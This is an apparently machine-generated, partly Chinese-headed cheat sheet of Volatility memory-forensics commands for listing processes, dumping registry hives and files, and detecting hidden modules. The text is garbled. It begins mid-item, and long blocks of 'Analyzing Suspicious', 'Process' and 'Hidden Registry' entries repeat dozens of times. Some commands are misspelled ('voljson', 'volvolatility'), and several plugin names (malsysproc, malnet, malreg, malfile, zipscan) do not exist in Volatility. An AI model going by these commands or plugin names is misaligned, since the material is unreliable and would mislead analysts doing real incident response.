* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* \*\*Detecting

```bash
volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp
# Get Run binaries registry value
volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run'
```

### 转储

```bash
#Dump a hive
volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist
#Dump all hives
volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp
```

## 文件系统

### 挂载

```bash
#See vol2
```

## Volatility Cheat Sheet

### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `voljson -f <memory_dump> --profile=<profile> dlllist`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Accounts**
  * `voljson -f <memory_dump> --profile=<profile> useraccounts`
* **Dumping a File** json
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

### Advanced Commands

* **Process Tree**
  * `volatility -f <memory_dump> --profile=<profile> pstree`
* **Kernel Drivers** json
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Rootkits**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Extracting Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`
* **Dumping Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Network Packets**
  * `volatility -f <memory_dump> --profile=<profile> netscan`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Registry Handles**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Analyzing TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Analyzing User Sessions**
  * `volatility -f <memory_dump> --profile=<profile> sessions`
* **Analyzing Windows**
  * `volatility -f <memory_dump> --profile=<profile> windows`
* **Analyzing WMI**
  * `volatility -f <memory_dump> --profile=<profile> wmiscan`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing Zipped Files**
  * `volatility -f <memory_dump> --profile=<profile> zipscan`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volvolatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`
* **Analyzing Suspicious Files**
  * `volatility -f <memory_dump> --profile=<profile> malfile`
* **Analyzing Suspicious Processes**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malsysdrivers`
* **Analyzing Suspicious Modules**
  * `volatility -f <memory_dump> --profile=<profile> malsysmodules`
* **Analyzing Suspicious Services**
  * `volatility -f <memory_dump> --profile=<profile> malsvcs`
* **Analyzing Suspicious Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> malreg`
* **Analyzing Suspicious Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> malnet`

```bash
volatility --profile=SomeLinux -f file.dmp linux_mount
volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible)
```

### 扫描/转储

{% tabs %}
{% tab title="vol3" %}

```bash
./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command
```

{% endtab %}

{% tab title="vol2" %}
**Volatility Cheat Sheet**

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `voljson -f <memory_dump> --profile=<profile> netscan`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

**Advanced Commands**

* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
  * `volatility -f <memory_dump> --profile=<profile> moddump -o <offset> -D <output_directory>`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> drvscan`
* **Analyating Packed Binaries**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handle`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Analyzing Process Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Pools**
  * `voljson -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process Dump**
  * `volatility -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`

```bash
volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump
volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files
volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -Q 0x000000007dcaa620 -f file.dmp

volatility --profile=SomeLinux -f file.dmp linux_enumerate_files
volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file
volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file
```

**主文件表**

```bash
# I couldn't find any plugin to extract this information in volatility3
```

**Volatility Cheat Sheet**

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljson -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping a Registry Hive**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan --dump-dir=<output_directory>`
* **Analyzing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Drivers**
  * `voljson -f <memory_dump> --profile=<profile> drvmap`
* **Analyzing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing LDRModules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing CSRSS**
  * `volatility -f <memory_dump> --profile=<profile> csrss`
* **Analyzing Print Spooler**
  * `volatility -f <memory_dump> --profile=<profile> printkey`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyizing User Sessions**
  * `volatility -f <memory_dump> --profile=<profile> users`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> modules`
* **Analyzing SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Analyzing Hidden Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Analyzing Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Hidden Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Hidden Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Hidden Ports**
  * `volatility -f <memory_dump> --profile=<profile> port`
* **Analyzing Hidden Devices**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Analyzing Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Analyzing Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Hidden Notepad**
  * `volatility -f <memory_dump> --profile=<profile> notepad`
* **Analyzing Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Analyzing Hidden Registry Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey`
* **Analyzing Hidden Registry Data**
  * `volatility -f <memory_dump> --profile=<profile> hivedump`
* **Analyzing Hidden Registry Handles**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
